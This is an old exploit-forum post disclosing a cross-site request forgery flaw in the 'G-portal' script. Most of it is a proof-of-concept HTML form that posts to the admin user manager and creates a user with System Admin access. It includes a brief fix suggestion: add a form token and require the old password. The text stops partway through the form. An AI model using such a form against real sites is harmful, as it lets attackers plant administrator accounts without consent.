G-portal ~ XSRF Vuln. | Cyber-Warrior Information Technology's World

Root > Exploits / Vulnerabilities > G-portal ~ XSRF Vuln.

Madde
	Author : Bug Researchers/BARCOD3
	Date : 12.07.2009 21:09:05
	# G-portal ~ XSRF Vuln. [Full Screen Display]

	################################################## ########### # author : BARCOD3 # Script : Gportal Script # Bug Type : XSRF # Bug Fix Advice : Form’a Token eklenmeli,eski sifre sorulmalidir. ################################################## ########### < ------------------- header data end of ------------------- > <form action=http://example.com/pacth/admin/gportal_user_manager.asp method=post> <table width=100% cellpadding=0 cellspacing=1 bgcolor=#ffffff> <tr> <td bgcolor=#28b03c style=font:11px Arial, Helvetica, sans-serif; color:#FFFFFF; padding:3px;><strong>Name:</strong></td> <td bgcolor=#28b03c style=font:11px Arial, Helvetica, sans-serif; color:#FFFFFF; padding:3px;><strong>Email:</strong></td> <td bgcolor=#28b03c style=font:11px Arial, Helvetica, sans-serif; color:#FFFFFF; padding:3px;><strong>password:</strong></td> <td bgcolor=#28b03c style=font:11px Arial, Helvetica, sans-serif; color:#FFFFFF; padding:3px;><strong>Access:</strong></td> <td bgcolor=#28b03c></td> </tr> <tr> <td><input name=realName size=25 type=text></td> <td><input name=email size=35 type=text></td> <td><input name=pword size=10 type=password></td> <td> <select name=passLevel size=1> <option value=1>System Admin</option> <option value=2>Directory Admin</option> <option value=3>News Admin</option> </select> </td> <td><input type=submit name=func value=Add User!></td>